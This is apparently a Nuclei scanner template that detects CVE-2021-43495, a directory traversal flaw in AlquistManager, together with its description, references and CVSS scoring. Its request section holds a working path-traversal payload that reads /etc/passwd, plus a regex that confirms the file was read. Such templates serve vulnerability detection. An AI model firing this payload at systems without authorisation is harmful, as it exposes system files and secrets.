id: CVE-2021-43495 info: name: AlquistManager Local File Inclusion author: pikpikcu severity: high description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access. remediation: | Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions. reference: - https://github.com/AlquistManager/alquist/issues/43 - https://nvd.nist.gov/vuln/detail/CVE-2021-43495 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-43495 cwe-id: CWE-22 epss-score: 0.0488 epss-percentile: 0.91886 cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:*:*:*:*:*:*:* metadata: max-request: 1 vendor: alquistai product: alquist tags: cve,cve2021,lfi,alquist http: - method: GET path: - "{{BaseURL}}/asd/../../../../../../../../etc/passwd" matchers: - type: regex part: body regex: - "root:.*:0:0:" # digest: 4a0a00473045022100935dd56d6002f899883c46a3584d30c88c62e8b0a960c5a3beb6988d00bb559e0220082b23576ded72034a612bd570f31b97e7cd2258576dcc6dac7dc56ded374465:922c64590222798bb761d5b6d8e72950